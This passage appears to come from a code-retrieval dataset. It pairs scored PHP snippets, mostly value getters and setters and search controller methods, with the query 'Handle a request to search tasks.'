}, { "docid": "632d95a20704ecf3223aa3a7e1004721", "score": "0.5534216", "text": "private function _xml_value($element) {\n\t\treturn sprintf('%s', $element);\n\t}", "title": "" }, { "docid": "f0acc38d9ed256d2a42668973654918e", "score": "0.55256367", "text": "abstract public function &getValue(&$node, $name, $asNode = false);", "title": "" }, { "docid": "b82cc27ac5d21cf085b1a233657bdfcc", "score": "0.5523507", "text": "function getValue()\n\t{\n\t\treturn $this->value;\n\t}", "title": "" }, { "docid": "348045e65af4a557cc910e5374a91643", "score": "0.5505121", "text": "public function value(): mixed;", "title": "" }, { "docid": "fff62229431bb84486fff738eb28bf93", "score": "0.55039644", "text": "public function getValue()\n\t{\t\n\t\treturn $this->value;\n\t}", "title": "" }, { "docid": "3a0ff6effe02b0f6477ae854f98d15bf", "score": "0.5502799", "text": "function loadValue($prevEntry, $i, $ele_value, $owner_groups, $groups, $entry, $profileForm=\"\") {\n//global $xoopsUser;\n//if($xoopsUser->getVar('uid') == 1) {\n//print_r($prevEntry);\n\n//}\n\n\tglobal $myts;\n\t/*\n\t * Hack by Félix <INBOX Solutions> for sedonde\n\t * myts == NULL\n\t */\n\tif(!$myts){\n\t\t$myts =& MyTextSanitizer::getInstance();\n\t}\n\t/*\n\t * Hack by Félix <INBOX Solutions> for sedonde\n\t * myts == NULL\n\t */\n\t\t\t$type = $i->getVar('ele_type');\n\t\t\t// going direct from the DB since if multi-language is active, getVar will translate the caption\n\t\t\t//$caption = $i->getVar('ele_caption');\n\t\t\t$ele_id = $i->getVar('ele_id');\n\n\t\t\t// if we're handling a new profile form, check to see if the user has filled in the form already and use that value if necessary\n\t\t\t// This logic could be of general use in handling posted requests, except for it's inability to handle 'other' boxes. An update may pay off in terms of speed of reloading the page.\n\t\t\t$value = \"\";\n\t\t\tif($profileForm === \"new\") {\n\t\t\t\t$dataFromUser = \"\";\n\t\t\t\tforeach($_POST as $k=>$v) {\n\t\t\t\t\tif( preg_match('/de_/', $k)){\n\t\t\t\t\t\t$n = explode(\"_\", $k);\n\t\t\t\t\t\tif($n[3] == $ele_id) { // found the element in $_POST;\n\t\t\t\t\t\t\t$dataFromUser = prepDataForWrite($i, $v);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif($dataFromUser) {\n\t\t\t\t\t$value = $dataFromUser;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(!$value) {\n\t \t\t\tglobal $xoopsDB;\n \t\t\t\t$ecq = q(\"SELECT ele_handle FROM \" . $xoopsDB->prefix(\"formulize\") . \" WHERE ele_id = '$ele_id'\");\n \t\t\t\t$handle = $ecq[0]['ele_handle'];\n\t\t\t\t\t\t$key = \"\";\n\t \t\t\t$keysFound = array_keys($prevEntry['handles'], $handle);\n\t\t\t\t\t\tforeach($keysFound as $thisKeyFound) {\n\t\t\t\t\t\t\tif(\"xyz\".$prevEntry['handles'][$thisKeyFound] == \"xyz\".$handle) { // do a comparison with a prefixed string to avoid problems comparing numbers to numbers plus text, ie: \"1669\" and \"1669_copy\" since the loose typing in PHP will not interpret those as intended\n\t\t\t\t\t\t\t\t$key = $thisKeyFound;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n \t\t\t\t// if the caption was not found in the existing values for this entry, then return the ele_value, unless we're looking at an existing entry, and then we need to clear defaults first\n \t\t\t\tif(!is_numeric($key) AND $key==\"\") { \n \t\t\t\t\tif($entry) {\n \t\t\t\t\t\tswitch($type) {\n \t\t\t\t\t\t\tcase \"text\":\n \t\t\t\t\t\t\t\t$ele_value[2] = \"\";\n \t\t\t\t\t\t\t\tbreak;\n\t \t\t\t\t\t\tcase \"textarea\":\n \t\t\t\t\t\t\t\t$ele_value[0] = \"\";\n \t\t\t\t\t\t\t\tbreak;\n \t\t\t\t\t\t}\n \t\t\t\t\t} \n\t \t\t\t\treturn $ele_value; \n \t\t\t\t}\n\t\t\t\t\t\tif($key !== \"\") {\n\t\t\t\t\t\t\t$value = $prevEntry['values'][$key];\n\t\t\t\t\t\t}\n\t\t\t}\n\n\t\t\t/*print_r($ele_value);\n\t\t\tprint \"<br>After: \"; //debug block\n\t\t\t*/\n\t\t\tswitch ($type)\n\t\t\t{\n\t\t\t\tcase \"derived\":\n\t\t\t\t\t$ele_value[5] = $value;\t// there is not a number 5 position in ele_value for derived values...we add the value to print in this position so we don't mess up any other information that might need to be carried around\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"text\":\n\t\t\t\t\t$ele_value[2] = $value;\t\t\t\t\n\t\t\t\t\t$ele_value[2] = eregi_replace(\"'\", \"&#039;\", $ele_value[2]);\t\t\t\t\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"textarea\":\n\t\t\t\t/*\n\t\t\t\t * Hack by Félix<INBOX International>\n\t\t\t\t * Adding colorpicker form element\n\t\t\t\t */\n\t\t\t\tcase \"colorpick\":\n\t\t\t\t/*\n\t\t\t\t * End of Hack by Félix<INBOX International>\n\t\t\t\t * Adding colorpicker form element\n\t\t\t\t */\n\t\t\t\t\t$ele_value[0] = $value;\t\t\t\t\t\t\t\t\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"select\":\n\t\t\t\tcase \"radio\":\n\t\t\t\tcase \"checkbox\":\n\n\t\t\t\t\t// NEED TO ADD IN INITIALIZATION OF LINKED SELECT BOXES FOR SUBFORMS\n\n\t\t\t\t\t// NOTE: unique delimiter used to identify LINKED select boxes, so they can be handled differently.\n\t\t\t\t\tif(strstr($ele_value[2], \"#*=:*\")) // if we've got a linked select box, then do everything differently\n\t\t\t\t\t{\n\t\t\t\t\t\t$ele_value[2] .= \"#*=:*\".$value; // append the selected entry ids to the form and handle info in the element definition\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\n\t\t\t\t\t\t// put the array into another array (clearing all default values)\n\t\t\t\t\t\t// then we modify our place holder array and then reassign\n\t\n\t\t\t\t\t\tif ($type != \"select\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temparray = $ele_value;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$temparray = $ele_value[2];\n\t\t\t\t\t\t}\t\t\t\t\t\n\t\t\t\t\t\t$temparraykeys = array_keys($temparray);\n\t\n\t\t\t\t\t\tif($temparraykeys[0] === \"{FULLNAMES}\" OR $temparraykeys[0] === \"{USERNAMES}\") { // ADDED June 18 2005 to handle pulling in usernames for the user's group(s)\n\t\t\t\t\t\t\t$ele_value[2]['{SELECTEDNAMES}'] = explode(\"*=+*:\", $value);\n\t\t\t\t\t\t\tif(count($ele_value[2]['{SELECTEDNAMES}']) > 1) { array_shift($ele_value[2]['{SELECTEDNAMES}']); }\n\t\t\t\t\t\t\t$ele_value[2]['{OWNERGROUPS}'] = $owner_groups;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\t// need to turn the prevEntry got from the DB into something the same as what is in the form specification so defaults show up right\n\t\t\t\t\t\t// important: this is safe because $value itself is not being sent to the browser!\n\t\t\t\t\t\t// we're comparing the output of these two lines against what is stored in the form specification, which does not have HTML escaped characters, and has extra slashes. Assumption is that lack of HTML filtering is okay since only admins and trusted users have access to form creation. Not good, but acceptable for now.\n\t\t\t\t\t\t$value = $myts->undoHtmlSpecialChars($value);\n\t\t\t\t\t\tif(get_magic_quotes_gpc()) { $value = addslashes($value); } \n\t\n\t\t\t\t\t\t$selvalarray = explode(\"*=+*:\", $value);\n\t\t\t\t\t\t$numberOfSelectedValues = strstr($value, \"*=+*:\") ? count($selvalarray)-1 : 1; // if this is a multiple selection value, then count the array values, minus 1 since there will be one leading separator on the string. Otherwise, it's a single value element so the number of selections is 1.\n\t\t\t\t\t\t\n\t\t\t\t\t\t$assignedSelectedValues = array();\n\t\t\t\t\t\tforeach($temparraykeys as $k)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif((string)$k === (string)html_entity_decode($value, ENT_QUOTES)) // if there's a straight match (not a multiple selection)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$temparray[$k] = 1;\n\t\t\t\t\t\t\t\t$assignedSelectedValues[$k] = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif( is_array($selvalarray) AND in_array((string)htmlspecialchars($k, ENT_QUOTES), $selvalarray, TRUE) ) // or if there's a match within a multiple selection array) -- TRUE is like ===, matches type and value\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$temparray[$k] = 1;\n\t\t\t\t\t\t\t\t$assignedSelectedValues[$k] = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse // otherwise set to zero.\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$temparray[$k] = 0;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif((!empty($value) OR $value === 0 OR $value === \"0\") AND count($assignedSelectedValues) < $numberOfSelectedValues) { // if we have not assigned the selected value from the db to one of the options for this element, then lets add it to the array of options, and flag it as out of range. This is to preserve out of range values in the db that are there from earlier times when the options were different, and also to preserve values that were imported without validation on purpose\n\t\t\t\t\t\t\tforeach($selvalarray as $selvalue) {\n\t\t\t\t\t\t\t\tif(!isset($assignedSelectedValues[$selvalue]) AND (!empty($selvalue) OR $selvalue === 0 OR $selvalue === \"0\")) {\n\t\t\t\t\t\t\t\t\t$temparray[_formulize_OUTOFRANGE_DATA.$selvalue] = 1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\t\t\t\t\t\t\t\n\t\t\t\t\t\tif ($type == \"radio\" AND $entry != \"new\" AND empty($value) AND array_search(1, $ele_value)) { // for radio buttons, if we're looking at an entry, and we've got no value to load, but there is a default value for the radio buttons, then use that default value (it's normally impossible to unset the default value of a radio button, so we want to ensure it is used when rendering the element in these conditions)\n\t\t\t\t\t\t\t$ele_value = $ele_value;\n\t\t\t\t\t\t} elseif ($type != \"select\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$ele_value = $temparray;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$ele_value[2] = $temparray;\n\t\t\t\t\t\t}\n\t\t\t\t\t} // end of IF we have a linked select box\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"yn\":\n\t\t\t\t\tif($value == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$ele_value = array(\"_YES\"=>1, \"_NO\"=>0);\n\t\t\t\t\t}\n\t\t\t\t\telseif($value == 2)\n\t\t\t\t\t{\n\t\t\t\t\t\t$ele_value = array(\"_YES\"=>0, \"_NO\"=>1);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$ele_value = array(\"_YES\"=>0, \"_NO\"=>0);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"date\":\n\n\t\t\t\t\t$ele_value[0] = $value;\n\n\t\t\t\t\tbreak;\n\t\t\t} // end switch\n\n\t\t\t/*print_r($ele_value);\n\t\t\tprint \"<br>\"; //debug block\n\t\t\t*/\n\n\t\t\treturn $ele_value;\n}", "title": "" }, { "docid": "028dde8e3c6b019f8bfcdb3d20eb5bcd", "score": "0.5500773", "text": "function getValue() {\r\n return $this->_value;\r\n }", "title": "" }, { "docid": "b4fbf4b68cb54e61f6b92ab12ccad878", "score": "0.5498977", "text": "public function getVal()\n {\n return $this->value;\n }", "title": "" }, { "docid": "abd562cf0cde802d4082053ed8040426", "score": "0.54897535", "text": "public function get_value() {\n return $this->value;\n }", "title": "" }, { "docid": "db5b1e54c9d0fa8849ed89c9e901e9b5", "score": "0.5488386", "text": "public function save($model, $value, $loaded)\n\t{\n\t\treturn $value;\n\t}", "title": "" }, { "docid": "e5fb1f195fef6072e99537298ec99498", "score": "0.54835874", "text": "public function get_value( $value ) {\n\t\treturn $value;\n\t}", "title": "" }, { "docid": "9f487ef6ab0c4033b8ffbc395e7cc95e", "score": "0.5481315", "text": "abstract protected function save_key_value_pair( $key, $value );", "title": "" }, { "docid": "0049fd46af1cd22940af4ddd89b9a1eb", "score": "0.54747856", "text": "public function getValue()\n\t{\n\t\treturn $this->value; \n\n\t}", "title": "" }, { "docid": "deaddfd014c091b5d2cc2ba314aa2c16", "score": "0.5473232", "text": "function setElement($element, $value) {\n $this->_elements[$element]['value'] = $value;\n }", "title": "" }, { "docid": "872b90c1f10c776a749b8aa9a0acdd73", "score": "0.54697967", "text": "public function getValue ( ) { return $this->value; }", "title": "" }, { "docid": "f67d68e1c30e798755547b36ee125362", "score": "0.5459327", "text": "abstract public function addValue(&$node, $value, $name = null);", "title": "" }, { "docid": "516cc571524af82cfcb4ca71e38c4371", "score": "0.54496425", "text": "public function value(){\n\t\treturn $this->value;\n\t}", "title": "" }, { "docid": "89e3f3f647464b01b2f78b54d334d4ea", "score": "0.5442294", "text": "function getValue ()\r\n\t{\r\n\t\treturn $this->xxmlDoc->getValue();\r\n\t}", "title": "" }, { "docid": "dc650d397315d11c6a3a178882992959", "score": "0.543973", "text": "private function getValue() {\n return $this->value;\n }", "title": "" }, { "docid": "07b5e7c9492f027709c7bc7d879bcfc7", "score": "0.54368883", "text": "public function value(){}", "title": "" }, { "docid": "0aeb9c1c42fb28187c5157e368835624", "score": "0.5416114", "text": "public function set_value( $value );", "title": "" }, { "docid": "9d2b8986af33e438a2e3c0d1735f915f", "score": "0.5399264", "text": "function return_value($value){\n\treturn $value;\n}", "title": "" }, { "docid": "1ccf3417d181d2f0a633ee25ee430791", "score": "0.5395115", "text": "public function getValue()\n {\n\n return $this->_value;\n\n }", "title": "" }, { "docid": "bfcedf0a2f983c0c68416a5f736d3e2e", "score": "0.53866315", "text": "function value() {\r\n return $this->value;\r\n }", "title": "" }, { "docid": "acfc20d882a1c8a3f0de31f1779ea6ae", "score": "0.53811586", "text": "public function compute_immediate_value($type,$value,$name)\n{\nif ($value==='<name>') return $name;\n\nif ($type=='string')\n\t{\n\t$len=strlen($value);\n\tif (($len>2) && (substr($value,0,1)=='<') && substr($value,$len-1,1)=='>')\n\t\t$value=substr($value,1,$len-2);\n\telse $value='\"'.str_replace\n\t\t(array(\"\\\\\",\"'\",'\"'),array(\"\\\\\\\\\",\"\\\\'\",'\\\\\"'),$value).'\"';\n\t}\n\nreturn $value;\n}", "title": "" }, { "docid": "59c4ff86b97baa988105de58863ffc8c", "score": "0.53748494", "text": "public function getValue($name);", "title": "" }, { "docid": "59c4ff86b97baa988105de58863ffc8c", "score": "0.53748494", "text": "public function getValue($name);", "title": "" }, { "docid": "59c4ff86b97baa988105de58863ffc8c", "score": "0.53748494", "text": "public function getValue($name);", "title": "" }, { "docid": "0df177942cd01ec2f1047c0bb5431577", "score": "0.53747624", "text": "public function get($value, $purpose);", "title": "" }, { "docid": "9df4ff45dc7697d614b503ac9dc327ec", "score": "0.5351292", "text": "function getValue() {\r\n return $this->value;\r\n }", "title": "" }, { "docid": "1167356c54e263700318d61dbd1c80fe", "score": "0.5343011", "text": "function snmp_get_valueretrieval(){}", "title": "" }, { "docid": "8e7de92d558ecc53c4cc9273af656d00", "score": "0.5339151", "text": "public function getValue() {\n\t\treturn $this->data[\"value\"];\n\t}", "title": "" }, { "docid": "c8c0d152db25c74a1f2614e2d5d518ad", "score": "0.5334754", "text": "public function getValue() {\n\t\treturn $this->_value;\n\t}", "title": "" }, { "docid": "bfd37c92a7542b27a87773e7e9386fc8", "score": "0.5334625", "text": "function wddx_serialize_value($var, $comment){}", "title": "" }, { "docid": "e7b4b7b5065f17bbf5a216f0685aee99", "score": "0.5322085", "text": "function getValue($key);", "title": "" }, { "docid": "86005ba31de56886d9b813b5dfe9f9c3", "score": "0.53175104", "text": "public function get_value($name){\n\t\treturn $this->data[$name];\n\t}", "title": "" } ]
7e055ef8d2a5b6862d3b5558a6622d01
Handle a request to search tasks.
[ { "docid": "f6ecb94137116e0701134934ed11e5e1", "score": "0.55000037", "text": "public function search()\n {\n App::loggedOnly();\n\n if (! array_key_exists('q', $_GET) || ! $_GET['q']) {\n App::error('Предоставьте текст для поиска');\n } else {\n $query = trim($_GET['q']);\n (new PagesController())->generalIndexSearch($query);\n }\n }", "title": "" } ]
[ { "docid": "f4117d6bcf64c4d651eee9fbc198c848", "score": "0.63732064", "text": "function _search($task_string) {\n global $api;\n\n return $api->findTask($task_string);\n }", "title": "" }, { "docid": "bc9a54c5d04e33a82e7d2e36aa743291", "score": "0.6227876", "text": "public function search(Request $request) : SearchResultCollection;", "title": "" }, { "docid": "5ec17723e0f8621fa9d422fba8695c89", "score": "0.61868465", "text": "public function search(Request $request)\n {\n $number = 0;\n //get inputs\n $search = '%'.$request->task.'%';\n $result = Task::orderBy('id')->where('title', 'like', $search )->get();\n\n // return $result;\n return \\view('home')->with('tasks',$result)->with('number',$number);\n \n }", "title": "" }, { "docid": "455b25ab4e8f27b640d637d6a09c5094", "score": "0.6177117", "text": "public function actionSearch()\n {\n $model = new Task(['scenario' => Task::SCENARIO_SEARCH]);\n\n return $this->renderAjax('search', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "41c93fddb1a8f102b5fed8e2cf99c36d", "score": "0.5975143", "text": "public function searchJob($search);", "title": "" }, { "docid": "496fa1a5841bb5e44ea24d221ea511c3", "score": "0.59547836", "text": "public function processSearch()\n {\n if($this->getShouldBeSearched()) {\n $this->addToSearch();\n $this->addOtherLanguagesToSearch();\n }\n else {\n $this->removeFromSearch();\n }\n }", "title": "" }, { "docid": "c633f33e252ab0e820c94f375c196e5b", "score": "0.59143645", "text": "public function search($search_input)\n\t{\n\t\tif (Auth::check())\n\t\t{\n\t\t\t$user = User::getUserInfos(Auth::user()->id);\n\t\t\t \n\t\t\tif ($user['status'] == 0)\n\t\t\t{\n\t\t\t\treturn Redirect::route('AdminSignIn')->with('error_message', Lang::get('messages.not_logged_in'));\n\t\t\t}\n\n\t\t\t// - AUTHORITY CHECK STARTS HERE - //\n\t\t\t$hasAuthority = false;\n\n\t\t\tswitch ($user['user']->user_group)\n\t\t\t{\n\t\t\t\tcase 'admin':\n\t\t\t\t// Admins should have authority\n\t\t\t\t$hasAuthority = true;\n\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\treturn Redirect::route('AdminSignIn')->with('error_message', Lang::get('core.unauthorized_access'));\n\t\t\t}\n\n\t\t\tif ($hasAuthority == false)\n\t\t\t{\n\t\t\t\treturn Redirect::route('AdminSignIn')->with('error_message', Lang::get('core.unauthorized_access'));\n\t\t\t}\n\n\t\t} else {\n\n\t\t\treturn Redirect::route('AdminSignIn')->with('error_message', Lang::get('core.unauthorized_access'));\n\t\t}\n\n\t\t// - AUTHORITY CHECK ENDS HERE - //\n\n\n\n\t\t// switch ($search_filter) {\n\t\t// \tcase 'value':\n\t\t// \t\t# code...\n\t\t// \t\tbreak;\n\t\t\t\n\t\t// \tdefault:\n\t\t// \t\t# code...\n\t\t// \t\tbreak;\n\t\t// }\n\n\t\t$search_filter = $_GET['search_filter'];\n\n\n\t\t$entries;\n\n\t\t// Get data\n\n\t\tswitch ($search_filter) {\n\t\t\t//users table\n\t\t\tcase 'user_id':\n\t\t\t$entries = Orders::getFilter1SalesPaginateEntries('id', $search_input);\n\t\t\tbreak;\n\t\t\tcase 'email':\n\t\t\t$entries = Orders::getFilter1SalesPaginateEntries('id', $search_input);\n\t\t\tbreak;\n\t\t\tcase 'address':\n\t\t\t$entries = Orders::getFilter1SalesPaginateEntries($search_filter, $search_input);\n\t\t\tbreak;\n\t\t\tcase 'city':\n\t\t\t$entries = Orders::getFilter1SalesPaginateEntries($search_filter, $search_input);\n\t\t\tbreak;\n\t\t\tcase 'region':\n\t\t\t$entries = Orders::getFilter1SalesPaginateEntries($search_filter, $search_input);\n\t\t\tbreak;\n\t\t\t//orders table\n\t\t\tcase 'order_date':\n\t\t\t$entries = Orders::getFilter2SalesPaginateEntries($search_filter, $search_input);\n\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t'';\n\t\t\t\tbreak;\n\t\t}\n\n\t\tif(count($entries)<1){\n\t\t\treturn 'Nema rezultata';\n\t\t}\n\n\n\n\t\t \n \t\t$orderscount = DB::table('orders')->whereNull('deleted_at')->where('payment_status', 'zavrseno')->count();\n \n\n\t\tif ($entries['status'] == 0)\n\t\t{\n\t\t\treturn Redirect::route('getDashboard')->with('error_message', Lang::get('core.msg_error_getting_entry'));\n\t\t}\n \n\t\t$orders = array();\n\t\t$productdata = array();\n \t\t$userdata = array();\n \t\t$ordersdata = array();\n\n\t\tforeach ($entries['entries'] as $order)\n\t\t{\n\t\t\t$productdata = OrdersProducts::getEntries($order->id);\n \t\t\t$userdata = User::getEntries($order->user_id);\n \t\t\t$ordersdata = Orders::getEntries($order->id, 'false');\n\n\t\t\tarray_push($productdata, $userdata, $ordersdata);\n\n\t\t\t$orders[] = $productdata;\n\n\t\t}\n\n\t\n\t\t \n\n\t\t$this->layout->title = 'Prodaja | Stipino';\n\n\t\t$this->layout->css_files = array(\n\n\t\t);\n\n\t\t$this->layout->js_footer_files = array(\n\t\t\t'js/backend/datatables.js',\n\t\t);\n\n\t\treturn View::make('backend.sales.index-div', array('entries' => $entries, 'orders' => $orders, 'orderscount' => $orderscount));\n\t}", "title": "" }, { "docid": "2dba640c1da5be20dfc395490fed81e3", "score": "0.5887535", "text": "public function search()\n {\n\n $search_terms = Input::get('keywords', false);\n $search_terms = trim($search_terms);\n\n if (is_null($search_terms) OR $search_terms == '')\n {\n $this->_message('Please enter some search terms and try again', false);\n $this->_response->redirect(PageController::class, 'dashboard');\n }\n\n $results = new Search($this, $search_terms);\n\n Hooks::broadcast('search', $results);\n\n $this->_setVariable(compact('results'));\n\n }", "title": "" }, { "docid": "ac283c373cb836280d5743d587f280d9", "score": "0.58828664", "text": "public function searchprocessAction() {\n\t\t$this->_helper->ajaxgrid->setConfig ( OrdersItems::grid() )->search ();\n\t}", "title": "" }, { "docid": "05f90e9fb98b3482605c79c7107fdb08", "score": "0.5878309", "text": "private function search()\n {\n\n //set empty parameter array\n $url_params = array();\n\n //add the parameters\n $url_params['location'] = $this->location;\n $url_params['sort'] = $this->sort;\n $url_params['category_filter'] = $this->category_filter;\n\n //create the search path including the base URL and parameters\n $search_path = $this->search_path . \"?\" . http_build_query($url_params);\n\n //return response\n return $this->request($search_path);\n }", "title": "" }, { "docid": "554f049015a04da1aa2185dc7727614c", "score": "0.587264", "text": "public function searchprocessAction() {\n\t\t$this->_helper->ajaxgrid->setConfig ( CreditNotes::grid() )->search ();\n\t}", "title": "" }, { "docid": "1d71e18d48a57edbdbfc35b2d182624a", "score": "0.5849251", "text": "public function searchprocessAction() {\n\t\t$this->_helper->ajaxgrid->setConfig ( WikiCategories::grid() )->search ();\n\t}", "title": "" }, { "docid": "e8b54a945f71d3e02744e74a386ef6dc", "score": "0.581662", "text": "public function searchProcess(Request $request)\n {\n\n $searchResults = [];\n\n\n $searchTerm = $request->input('searchTerm', null);\n $searchTerm1 = $request->input('searchTerm1', null);\n\n\n if ($searchTerm && $searchTerm1==null) {\n\n # If it was a match, add it to our results\n\n $searchResults=Member::where('first_name',$searchTerm)->get();\n\n }\n else if($searchTerm && $searchTerm1 ){\n\n $searchResults=Member::where('first_name',$searchTerm)\n ->where('last_name',$searchTerm1)\n ->get();\n }\n\n else if($searchTerm==null && $searchTerm1 ){\n\n $searchResults=Member::where('last_name',$searchTerm1)->get();\n }\n\n return redirect('/members/search')->with([\n 'searchTerm' => $searchTerm,\n 'searchTerm1' => $searchTerm1,\n 'caseSensitive' => $request->has('caseSensitive'),\n 'searchResults' => $searchResults\n ]);\n }", "title": "" }, { "docid": "7a23e0ba51d3ff1df9c6862909c635a1", "score": "0.58045435", "text": "function submit() {\n\n \tglobal $searchArgList;\n\n\t\tforeach ($searchArgList as $key=>$data) {\n\t\t\t\n\t\t\tif ($this->input->post($data))\n\t\t\t\t$segments[$data] = $this->input->post($data);\n\t\t\telse\n\t\t\t\t$segments[$data] = 0;\t\n\t\t\t\n\t\t}\n\t\t\n\t\t$url = \"/invoices/search/\";\n\t\t\n\t\tforeach ($segments as $data)\n\t\t\t$url .= $data . \"/\";\n\t\t\t\n\t\t\n\t\tredirect($url);\n \n }", "title": "" }, { "docid": "6c7293a2d4660975e086968fa864fe95", "score": "0.5788126", "text": "public function search ()\n {\n $params = fixer::input('request')->get();\n $pager = $this->contractService->search($params);\n $this->view->pager = $pager;\n $this->display();\n }", "title": "" }, { "docid": "5d9d94a1a04469eaa227a08e1cd3e11b", "score": "0.5762508", "text": "public function searchProcess(Request $request)\n {\n $searchTerm = $request->input('searchTerm', null);\n $searchBy = $request->input('searchBy', null);\n $foundItems = [];\n\n $titles = Thread::all();\n\n if($searchBy == 'title') {\n\n foreach($titles as $title) {\n if(str_contains($title->title, $searchTerm)) {\n $foundItems[] = $title;\n }\n }\n } else {\n foreach($titles as $title) {\n if(str_contains($title->body_text, $searchTerm)) {\n $foundItems[] = $title;\n }\n }\n }\n return view('threads.list')->with([\n 'threads' => $foundItems\n ]);\n }", "title": "" }, { "docid": "63a99c5399cb1e7b923420249a362b8c", "score": "0.5751371", "text": "public function postSearchTasklist()\n {\n // get alls Vendors\n $reporttasklists = TaskList::orderBy('id','DESC')->get();\n \n // Subject\n $subject = Input::get('subjectSearch');\n if(!empty($projectName))\n {\n $reporttasklists = TaskList::where('subject', 'LIKE', '%'.$subject.'%')\n ->orderBy('id')\n ->get();\n }\n \n // Assignment To\n $assignmentTo = Input::get('assignmentToSearch');\n if(!empty($assignmentTo))\n {\n $reporttasklists = TaskList::where('assignment_to', 'LIKE', '%'.$assignmentTo.'%')\n ->orderBy('id')\n ->get();\n }\n \n // Status \n $status = Input::get('statusSearch');\n if(!empty($status))\n {\n $reporttasklists = TaskList::where('status_tasklist', 'LIKE', '%'.$status.'%')\n ->orderBy('id')\n ->get();\n }\n \n // Priority\n $priority = Input::get('prioritySearch');\n if(!empty($priority))\n {\n $reporttasklists = TaskList::where('priority', 'LIKE', '%'.$priority.'%')\n ->orderBy('id')\n ->get();\n }\n \n // Actual Finish Date\n $actualFinishDate = Input::get('actualFinishDateSearch');\n if(!empty($actualFinishDate))\n {\n $reporttasklists = TaskList::where('actual_finish_date', 'LIKE', '%'.$actualFinishDate.'%')\n ->orderBy('id')\n ->get();\n }\n \n // Reference\n $reference = Input::get('referenceSearch');\n if(!empty($reference))\n {\n $reporttasklists = TaskList::where('reference', 'LIKE', '%'.$reference.'%')\n ->orderBy('id')\n ->get();\n }\n \n // Project Name\n $projectNames = array('' => '');\n foreach(Project::all() as $row)\n //$return .= \"<option value='$row->id'>$row->nm_vendor</option>\";\n $projectNames[$row->id] = $row->name_project;\n \n $masterstatuss = array('' => '');\n foreach(MasterStatus::where('group','=','tasklist')->get() as $row)\n //$return .= \"<option value='$row->id'>$row->nm_vendor</option>\";\n $masterstatuss[$row->id] = $row->group.' - '.$row->status_name;\n \n $masterstatuss1 = array('' => '');\n foreach(MasterStatus::where('group','=','priority')->get() as $row)\n //$return .= \"<option value='$row->id'>$row->nm_vendor</option>\";\n $masterstatuss1[$row->id] = $row->group.' - '.$row->status_name;\n \n $users = array('' => '');\n foreach(User::all() as $row)\n //$return .= \"<option value='$row->id'>$row->nm_vendor</option>\";\n $users[$row->id] = $row->username;\n \n // ajax request : reload only content container\n if(Request::ajax())\n {\n $html = View::make(Config::get('adminlte::views.reporttasklists-list'), array('reporttasklists' => $reporttasklists, 'projectNames' => $projectNames, 'users' => $users, 'masterstatuss' => $masterstatuss, 'masterstatuss1' => $masterstatuss1))->render();\n\n return Response::json(array('html' => $html));\n }\n \n $this->layout = View::make(Config::get('adminlte::views.reporttasklists-index'), array('reporttasklists' => $reporttasklists, 'projectNames' => $projectNames, 'users' => $users, 'masterstatuss' => $masterstatuss, 'masterstatuss1' => $masterstatuss1));\n $this->layout->title = \"Report Tasklist\";\n $this->layout->breadcrumb = Config::get('syntara::breadcrumbs.reporttasklists');\n }", "title": "" }, { "docid": "28f200919ff70d6b42694b4278347506", "score": "0.5697206", "text": "public function index(Request $request)\n {\n $search = null;\n if ($request->input('search') != null) {\n $search = $request->input('search');\n }\n $task = Task::query();\n if (!is_null($search)) {\n $task = $task->where(function ($query) use ($search) {\n $query->where('description', 'like', '%' . $search . '%');\n });\n }\n\n return $task->owned()->with('approval.approvalDetails')\n ->with('module')\n ->with('taskType')\n ->withDates()\n ->get();\n }", "title": "" }, { "docid": "a7966cf4cf8d23a179b5a0fe3d29e20e", "score": "0.5696483", "text": "protected function _import_from_search()\n {\n\t\t$i = 1;\n\n\t\twhile (TRUE)\n\t\t{\n\t\t\tMinion_CLI::write(\"Searching page $i...\");\n\n\t\t\t$results = Github::instance()\n ->getRepoApi()\n ->search('kohana', '', $i);\n\n\t\t\tif (count($results) === 0)\n\t\t\t{\n\t\t\t\tMinion_CLI::write('Finished.');\n\t\t\t\tbreak;\n\t\t\t}\n\n foreach ($results as $result)\n {\n $queue = ORM::factory('Queue');\n $queue->values($result);\n $queue->source = Model_Queue::SOURCE_GITHUB_SEARCH;\n\n try\n {\n $queue->save();\n }\n catch (ORM_Validation_Exception $e) {}\n }\n\n // throttle API requests\n sleep(2);\n\n\t\t\t$i++;\n\t\t}\n }", "title": "" }, { "docid": "009ce39ec44614ea65e69603db0eeb7a", "score": "0.5688189", "text": "public function assistantSearchAction()\n {\n\n\n if ($this->request->hasArgument('falloutDate')) {\n $falloutDate = $this->request->getArgument('falloutDate');\n $this->view->assign(\"falloutDate\", 